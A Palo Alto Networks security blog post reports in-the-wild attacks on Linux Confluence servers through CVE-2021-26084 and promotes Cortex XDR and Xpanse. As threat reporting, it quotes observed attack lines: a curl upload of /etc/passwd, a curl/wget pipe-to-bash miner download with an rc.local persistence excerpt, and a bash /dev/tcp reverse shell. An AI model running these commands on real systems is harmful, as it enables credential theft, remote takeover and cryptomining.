* [Blog](https://www.paloaltonetworks.com.au/blog)
* [Security Operations](https://www.paloaltonetworks.com.au/blog/security-operations/)
* [Must-Read Articles](https://www.paloaltonetworks.com.au/blog/security-operations/category/must-read-articles/)
* CVE-2021-26084 Linux Expl...

# CVE-2021-26084 Linux Exploitation in the Wild

[](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Fwww.paloaltonetworks.com.au%2Fblog%2Fsecurity-operations%2Fcve-2021-26084-linux-exploitation-in-the-wild%2F)  
[](https://twitter.com/share?text=CVE-2021-26084+Linux+Exploitation+in+the+Wild&url=https%3A%2F%2Fwww.paloaltonetworks.com.au%2Fblog%2Fsecurity-operations%2Fcve-2021-26084-linux-exploitation-in-the-wild%2F)  
[](https://www.linkedin.com/shareArticle?mini=true&url=https%3A%2F%2Fwww.paloaltonetworks.com.au%2Fblog%2Fsecurity-operations%2Fcve-2021-26084-linux-exploitation-in-the-wild%2F&title=CVE-2021-26084+Linux+Exploitation+in+the+Wild&summary=&source=)  
[](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https://www.paloaltonetworks.com.au/blog/security-operations/cve-2021-26084-linux-exploitation-in-the-wild/&ts=markdown)  
\[\](mailto:?subject=CVE-2021-26084 Linux Exploitation in the Wild)  
Link copied  
By [Nadav Markus](https://www.paloaltonetworks.com/blog/author/nadav-markus/?ts=markdown "Posts by Nadav Markus") and [Abhishek Anbazhagan](https://www.paloaltonetworks.com/blog/author/abhishek-anbazhagan/?ts=markdown "Posts by Abhishek Anbazhagan")  
Sep 24, 2021  
3 minutes  
[Must-Read Articles](https://www.paloaltonetworks.com/blog/security-operations/category/must-read-articles/?ts=markdown)  
[News and Events](https://www.paloaltonetworks.com/blog/security-operations/category/news-and-events/?ts=markdown)  
[Atlassian Confluence](https://www.paloaltonetworks.com/blog/tag/atlassian-confluence/?ts=markdown)  
[Confluence Exploit](https://www.paloaltonetworks.com/blog/tag/confluence-exploit/?ts=markdown)  
[Cortex XDR](https://www.paloaltonetworks.com/blog/tag/cortex-xdr/?ts=markdown)  
[Java Exploit](https://www.paloaltonetworks.com/blog/tag/java-exploit/?ts=markdown)  
[Linux](https://www.paloaltonetworks.com/blog/tag/linux/?ts=markdown)  
[OGNL](https://www.paloaltonetworks.com/blog/tag/ognl/?ts=markdown)  
[Xpanse](https://www.paloaltonetworks.com/blog/tag/xpanse/?ts=markdown)

Recently, a new [OGNL](https://en.wikipedia.org/wiki/OGNL) (Object-Graph Navigation Language) expression injection vulnerability was discovered in the Atlassian Confluence framework. OGNL expression evaluation can lead to arbitrary code execution, as was seen in the past with a similar Apache Struts vulnerability (CVE-2019-0230), and this case is no different.

To protect Linux hosts, [Cortex XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr) added a dedicated module to detect and prevent Java deserialization vulnerabilities and vulnerabilities such as those that allow one to inject OGNL expressions in Cortex XDR agent 7.0 and higher running under Linux. This module has successfully blocked numerous attacks targeting customers' endpoints.

A few examples that we saw of prevented real life in the wild attacks:

1- Attempts to upload the customer's passwd files:

**curl -X POST --data-binary @/etc/passwd http://(redacted)\[.\](redacted)\[.\]net**

2-Attempts to directly execute a script that downloads a miner:

**(curl -fsSL http://x\[.\]x\[.\]x.\[x\]:1234/xmss||wget -q -O - http://x\[.\]x\[.\]x\[.\]x:1234/xmss)|bash**

an excerpt from the downloaded script:

**if ! grep rsyslogds.sh /etc/rc.d/rc.local \>/dev/null; then**

**echo "\[\*\] Adding $HOME/c3pool/miner.sh script to /etc/rc.d/rc.local"**

**echo "/usr/sbin/.rsyslogds.sh \>/dev/null 2\>\&1" \>\>/etc/rc.d/rc.local**

**else**

**echo "Looks like $HOME/c3pool/miner.sh script is already in the $HOME/.profile"**

**fi**

3-Interactive reverse shell on the machine:

**/bin/bash -c bash -i \>\& /dev/tcp/x.x.x.x/443 0\>\&1 \&**

Without requiring any additional user input, starting from content version 196-69754, Cortex XDR on Linux automatically blocked all these attacks---maintaining the integrity and confidentiality of the vulnerable servers.

While Cortex XDR on Linux can block this exploit, Palo Alto Networks recommends that customers upgrade and patch vulnerable versions of Atlassian Confluence, as a best practice to secure their systems.

Because Palo Alto Network's attack surface management solution [Cortex Xpanse](https://www.paloaltonetworks.com/cortex/cortex-xpanse)regularly scans the entire internet for known and emerging vulnerabilities, we were able to quickly identify organizations exposed to this vulnerability. Our preliminary research found over 40 educational institutions and over 90 state and local governments with potential exposure to this CVE.

![](https://www.paloaltonetworks.com/blog/wp-content/uploads/2021/09/word-image-57.png)

*Fig 1: Number of Vulnerable Atlassian Confluence Servers on the internet start decreasing after the announcement of the CVE*

Cortex Xpanse also identified a rapid decrease in Atlassian Confluence servers vulnerable to CVE-2021-26084. Some organizations respond well to this vulnerability, but others are likely unable to identify all of their exposed servers and take them down. A continuous and updated view of an attack surface can help organizations in their rapid response to new CVEs. The 2021 Cortex Xpanse Attack Surface Threat Report found that malicious actors start scanning within 15 mins following CVE disclosures. In contrast, on average, organizations need 12 hours to see vulnerable systems, which assumes the enterprise knows about all assets on its network.

With Cortex Xpanse and Cortex XDR, organizations can combine the benefits of an outside-in view and an inside-out view to secure their critical infrastructure and respond to these evolving threats.

To learn more about Cortex solutions, [visit our site](https://www.paloaltonetworks.com/cortex).

### References:

* [Unit 42](https://panw-rnd.slack.com/archives/C02EMAVK5J5/p1632412787004400?thread_ts=1631549256.006400&cid=C02EMAVK5J5)
* [CVE Details](https://nvd.nist.gov/vuln/detail/CVE-2021-26084)

*** ** * ** ***

## Related Blogs

### [Must-Read Articles](https://www.paloaltonetworks.com/blog/security-operations/category/must-read-articles/?ts=markdown), [News and Events](https://www.paloaltonetworks.com/blog/security-operations/category/news-and-events/?ts=markdown)

[#### How Cortex XDR Blocks Log4Shell Exploits with Java Deserialization Exploit Protection](https://www.paloaltonetworks.com.au/blog/security-operations/how-cortex-xdr-blocks-log4shell-exploits-with-java-deserialization-exploit-protection/)

### [AI and Cybersecurity](https://www.paloaltonetworks.com/blog/security-operations/category/ai-and-cybersecurity/?ts=markdown), [Must-Read Articles](https://www.paloaltonetworks.com/blog/security-operations/category/must-read-articles/?ts=markdown), [News and Events](https://www.paloaltonetworks.com/blog/security-operations/category/news-and-events/?ts=markdown), [Product Features](https://www.paloaltonetworks.com/blog/security-operations/category/product-features/?ts=markdown), [Use-Cases](https://www.paloaltonetworks.com/blog/security-operations/category/use-cases/?ts=markdown)

[#### From Silos to Synergy: How Cortex XDL Transforms XDR to Elevate Threat Detection](https://www.paloaltonetworks.com.au/blog/security-operations/from-silos-to-synergy-how-cortex-xdl-transforms-xdr-to-elevate-threat-detection/)

### [AI and Cybersecurity](https://www.paloaltonetworks.com/blog/security-operations/category/ai-and-cybersecurity/?ts=markdown), [Must-Read Articles](https://www.paloaltonetworks.com/blog/security-operations/category/must-read-articles/?ts=markdown), [News and Events](https://www.paloaltonetworks.com/blog/security-operations/category/news-and-events/?ts=markdown)

[#### Cortex XDR is the Only Endpoint Security Market Leader to Achieve 99% in Both Threat Prevention and Response in AVC EPR](https://www.paloaltonetworks.com.au/blog/security-operations/cortex-xdr-is-the-only-endpoint-security-market-leader-to-achieve-99-in-both-threat-prevention-and-response-in-avc-epr/)

### [AI and Cybersecurity](https://www.paloaltonetworks.com/blog/security-operations/category/ai-and-cybersecurity/?ts=markdown), [Must-Read Articles](https://www.paloaltonetworks.com/blog/security-operations/category/must-read-articles/?ts=markdown), [News and Events](https://www.paloaltonetworks.com/blog/security-operations/category/news-and-events/?ts=markdown), [Product Features](https://www.paloaltonetworks.com/blog/security-operations/category/product-features/?ts=markdown), [Use-Cases](https://www.paloaltonetworks.com/blog/security-operations/category/use-cases/?ts=markdown)

[#### SE Labs Awards Palo Alto Networks AAA Rating and 100% Prevention Against Ransomware](https://www.paloaltonetworks.com.au/blog/security-operations/se-labs-awards-palo-alto-networks-aaa-rating-and-100-prevention-against-ransomware/)

### [Announcement](https://www.paloaltonetworks.com/blog/category/announcement/?ts=markdown), [Must-Read Articles](https://www.paloaltonetworks.com/blog/security-operations/category/must-read-articles/?ts=markdown), [News and Events](https://www.paloaltonetworks.com/blog/security-operations/category/news-and-events/?ts=markdown), [Product Features](https://www.paloaltonetworks.com/blog/security-operations/category/product-features/?ts=markdown), [Products and Services](https://www.paloaltonetworks.com/blog/category/products-and-services/?ts=markdown), [Reports](https://www.paloaltonetworks.com/blog/category/reports/?ts=markdown)

[#### A Leader in the 2025 Gartner Magic Quadrant for EPP --- 3 Years Running](https://www.paloaltonetworks.com.au/blog/2025/07/named-a-leader-gartner-magic-quadrant/)

### [Announcement](https://www.paloaltonetworks.com/blog/category/announcement/?ts=markdown), [Must-Read Articles](https://www.paloaltonetworks.com/blog/security-operations/category/must-read-articles/?ts=markdown), [News and Events](https://www.paloaltonetworks.com/blog/security-operations/category/news-and-events/?ts=markdown)

[#### Cortex XDR Named 2025 Gartner Customers' Choice for Endpoint Security](https://www.paloaltonetworks.com.au/blog/2025/05/cortex-xdr-named-gartner-customers-choice-endpoint-security/)

### Subscribe to Security Operations Blogs!

Sign up to receive must-read articles, Playbooks of the Week, new feature announcements, and more.
![spinner](https://www.paloaltonetworks.com.au/blog/wp-content/themes/panwblog2023/dist/images/ajax-loader.gif) Sign up  
Please enter a valid email.  
By submitting this form, you agree to our [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use?ts=markdown) and acknowledge our [Privacy Statement](https://www.paloaltonetworks.com/legal-notices/privacy?ts=markdown). Please look for a confirmation email from us. If you don't receive it in the next 10 minutes, please check your spam folder.  
This site is protected by reCAPTCHA and the Google [Privacy Policy](https://policies.google.com/privacy) and [Terms of Service](https://policies.google.com/terms) apply.  
{#footer} {#footer}

## Products and Services

* [AI-Powered Network Security Platform](https://www.paloaltonetworks.com/network-security?ts=markdown)

* [Secure AI by Design](https://www.paloaltonetworks.com/precision-ai-security/secure-ai-by-design?ts=markdown)

* [Prisma AIRS](https://www.paloaltonetworks.com/prisma/prisma-ai-runtime-security?ts=markdown)

* [AI Access Security](https://www.paloaltonetworks.com/sase/ai-access-security?ts=markdown)

* [Cloud Delivered Security Services](https://www.paloaltonetworks.com/network-security/security-subscriptions?ts=markdown)

* [Advanced Threat Prevention](https://www.paloaltonetworks.com/network-security/advanced-threat-prevention?ts=markdown)

* [Advanced URL Filtering](https://www.paloaltonetworks.com/network-security/advanced-url-filtering?ts=markdown)

* [Advanced WildFire](https://www.paloaltonetworks.com/network-security/advanced-wildfire?ts=markdown)

* [Advanced DNS Security](https://www.paloaltonetworks.com/network-security/advanced-dns-security?ts=markdown)

* [Enterprise Data Loss Prevention](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention?ts=markdown)

* [Enterprise IoT Security](https://www.paloaltonetworks.com/network-security/enterprise-device-security?ts=markdown)

* [Medical IoT Security](https://www.paloaltonetworks.com/network-security/medical-device-security?ts=markdown)

* [Industrial OT Security](https://www.paloaltonetworks.com/network-security/medical-device-security?ts=markdown)

* [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security?ts=markdown)

* [Next-Generation Firewalls](https://www.paloaltonetworks.com/network-security/next-generation-firewall?ts=markdown)

* [Hardware Firewalls](https://www.paloaltonetworks.com/network-security/hardware-firewall-innovations?ts=markdown)

* [Software Firewalls](https://www.paloaltonetworks.com/network-security/software-firewalls?ts=markdown)

* [Strata Cloud Manager](https://www.paloaltonetworks.com/network-security/strata-cloud-manager?ts=markdown)

* [SD-WAN for NGFW](https://www.paloaltonetworks.com/network-security/sd-wan-subscription?ts=markdown)

* [PAN-OS](https://www.paloaltonetworks.com/network-security/pan-os?ts=markdown)

* [Panorama](https://www.paloaltonetworks.com/network-security/panorama?ts=markdown)

* [Secure Access Service Edge](https://www.paloaltonetworks.com/sase?ts=markdown)

* [Prisma SASE](https://www.paloaltonetworks.com/sase?ts=markdown)

* [Application Acceleration](https://www.paloaltonetworks.com/sase/app-acceleration?ts=markdown)

* [Autonomous Digital Experience Management](https://www.paloaltonetworks.com/sase/adem?ts=markdown)

* [Enterprise DLP](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention?ts=markdown)

* [Prisma Access](https://www.paloaltonetworks.com/sase/access?ts=markdown)

* [Prisma Browser](https://www.paloaltonetworks.com/sase/prisma-browser?ts=markdown)

* [Prisma SD-WAN](https://www.paloaltonetworks.com/sase/sd-wan?ts=markdown)

* [Remote Browser Isolation](https://www.paloaltonetworks.com/sase/remote-browser-isolation?ts=markdown)

* [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security?ts=markdown)

* [AI-Driven Security Operations Platform](https://www.paloaltonetworks.com/cortex?ts=markdown)

* [Cloud Security](https://www.paloaltonetworks.com/cortex/cloud?ts=markdown)

* [Cortex Cloud](https://www.paloaltonetworks.com/cortex/cloud?ts=markdown)

* [Application Security](https://www.paloaltonetworks.com/cortex/cloud/application-security?ts=markdown)

* [Cloud Posture Security](https://www.paloaltonetworks.com/cortex/cloud/cloud-posture-security?ts=markdown)

* [Cloud Runtime Security](https://www.paloaltonetworks.com/cortex/cloud/runtime-security?ts=markdown)

* [Prisma Cloud](https://www.paloaltonetworks.com/prisma/cloud?ts=markdown)

* [AI-Driven SOC](https://www.paloaltonetworks.com/cortex?ts=markdown)

* [Cortex XSIAM](https://www.paloaltonetworks.com/cortex/cortex-xsiam?ts=markdown)

* [Cortex XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr?ts=markdown)

* [Cortex XSOAR](https://www.paloaltonetworks.com/cortex/cortex-xsoar?ts=markdown)

* [Cortex Xpanse](https://www.paloaltonetworks.com/cortex/cortex-xpanse?ts=markdown)

* [Unit 42 Managed Detection \& Response](https://www.paloaltonetworks.com/cortex/managed-detection-and-response?ts=markdown)

* [Managed XSIAM](https://www.paloaltonetworks.com/cortex/managed-xsiam?ts=markdown)

* [Threat Intel and Incident Response Services](https://www.paloaltonetworks.com/unit42?ts=markdown)

* [Proactive Assessments](https://www.paloaltonetworks.com/unit42/assess?ts=markdown)

* [Incident Response](https://www.paloaltonetworks.com/unit42/respond?ts=markdown)

* [Transform Your Security Strategy](https://www.paloaltonetworks.com/unit42/transform?ts=markdown)

* [Discover Threat Intelligence](https://www.paloaltonetworks.com/unit42/threat-intelligence-partners?ts=markdown)

## Company

* [About Us](https://www.paloaltonetworks.com/about-us?ts=markdown)
* [Careers](https://jobs.paloaltonetworks.com/en/)
* [Contact Us](https://www.paloaltonetworks.com/company/contact-sales?ts=markdown)
* [Corporate Responsibility](https://www.paloaltonetworks.com/about-us/corporate-responsibility?ts=markdown)
* [Customers](https://www.paloaltonetworks.com/customers?ts=markdown)
* [Investor Relations](https://investors.paloaltonetworks.com/)
* [Location](https://www.paloaltonetworks.com/about-us/locations?ts=markdown)
* [Newsroom](https://www.paloaltonetworks.com/company/newsroom?ts=markdown)

## Popular Links

* [Blog](https://www.paloaltonetworks.com/blog/?ts=markdown)
* [Communities](https://www.paloaltonetworks.com/communities?ts=markdown)
* [Content Library](https://www.paloaltonetworks.com/resources?ts=markdown)
* [Cyberpedia](https://www.paloaltonetworks.com/cyberpedia?ts=markdown)
* [Event Center](https://events.paloaltonetworks.com/)
* [Manage Email Preferences](https://start.paloaltonetworks.com/preference-center)
* [Products A-Z](https://www.paloaltonetworks.com/products/products-a-z?ts=markdown)
* [Product Certifications](https://www.paloaltonetworks.com/legal-notices/trust-center/compliance?ts=markdown)
* [Report a Vulnerability](https://www.paloaltonetworks.com/security-disclosure?ts=markdown)
* [Sitemap](https://www.paloaltonetworks.com/sitemap?ts=markdown)
* [Tech Docs](https://docs.paloaltonetworks.com/)
* [Unit 42](https://unit42.paloaltonetworks.com/)
* [Do Not Sell or Share My Personal Information](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd)
  ![PAN logo](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/pan-logo-dark.svg)
* [Privacy](https://www.paloaltonetworks.com/legal-notices/privacy?ts=markdown)
* [Trust Center](https://www.paloaltonetworks.com/legal-notices/trust-center?ts=markdown)
* [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use?ts=markdown)
* [Documents](https://www.paloaltonetworks.com/legal?ts=markdown)

Copyright © 2026 Palo Alto Networks. All Rights Reserved

* [![Youtube](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks)
* [![Podcast](https://www.paloaltonetworks.com/content/dam/pan/en_US/images/icons/podcast.svg)](https://www.paloaltonetworks.com/podcasts/threat-vector?ts=markdown)
* [![Facebook](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/)
* [![LinkedIn](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks)
* [![Twitter](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks)
* EN  
  Select your language